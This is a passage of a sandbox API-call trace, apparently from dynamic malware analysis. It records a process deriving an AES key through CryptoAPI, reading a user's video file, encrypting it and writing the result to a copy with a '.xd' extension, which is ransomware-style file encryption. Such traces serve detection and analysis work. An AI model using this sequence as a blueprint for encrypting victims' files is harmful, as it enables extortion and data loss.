[0066.801] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.801] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.801] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.801] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.801] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.801] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0066.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621630, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0066.802] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0066.802] CryptDeriveKey (in: hProv=0x17aa670, Algid=0x6610, hBaseData=0x164c430, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c870) returned 1 [0066.802] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.802] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.802] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.802] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.802] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.802] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.802] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0066.802] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0066.802] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0066.802] CryptDestroyHash (hHash=0x164c430) returned 1 [0066.802] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.802] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.802] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.803] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.803] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.803] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\rifvj8pwvurnpzjutaw1.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0066.803] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.803] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0066.803] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.803] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.803] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.803] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb")) returned 0x10 [0066.804] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\rifvj8pwvurnpzjutaw1.avi.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0066.804] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.804] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.805] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.805] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.807] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0066.807] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x8ce8, lpOverlapped=0x0) returned 1 [0066.808] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0066.811] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.811] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.811] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.811] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0066.811] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.811] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.811] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0066.811] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.811] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0066.811] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.811] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.811] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.811] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0066.812] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0066.812] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0066.812] CryptGetKeyParam (in: hKey=0x164c870, dwParam=0x7, pbData=0x1629640, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629640*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0066.812] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.812] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.812] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.812] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.813] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.813] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.813] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.813] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.813] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.813] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.813] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.813] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.813] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.813] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.813] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.813] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.813] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.814] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.814] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.814] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.814] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.814] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.814] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.814] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.814] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621720, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.815] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.815] CryptEncrypt (in: hKey=0x164c870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x8ce8, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x8cf0) returned 1 [0066.815] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.815] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.815] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.815] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.815] CharLowerBuffW (in: lpsz="byte[36081]", cchLength=0xb | out: lpsz="byte[36081]") returned 0xb [0066.815] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.816] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.816] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.816] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.816] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621be8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.816] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.816] CryptEncrypt (in: hKey=0x164c870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x188e9f0*, pdwDataLen=0x130e618*=0x8ce8, dwBufLen=0x8cf0 | out: pbData=0x188e9f0*, pdwDataLen=0x130e618*=0x8cf0) returned 1 [0066.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.817] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.817] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.817] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.817] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.817] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.817] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.817] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.817] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.817] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.817] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.820] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.820] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.820] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.820] WriteFile (in: hFile=0x3bc, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x8cf0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x8cf0, lpOverlapped=0x0) returned 1 [0066.826] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.826] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.826] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0066.826] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.826] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.826] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0066.826] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0066.826] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0066.826] CryptDestroyKey (hKey=0x164c870) returned 1 [0066.827] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.827] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.827] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.827] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.827] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.827] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.827] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.827] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.827] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.827] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0066.827] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.827] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.827] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.827] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 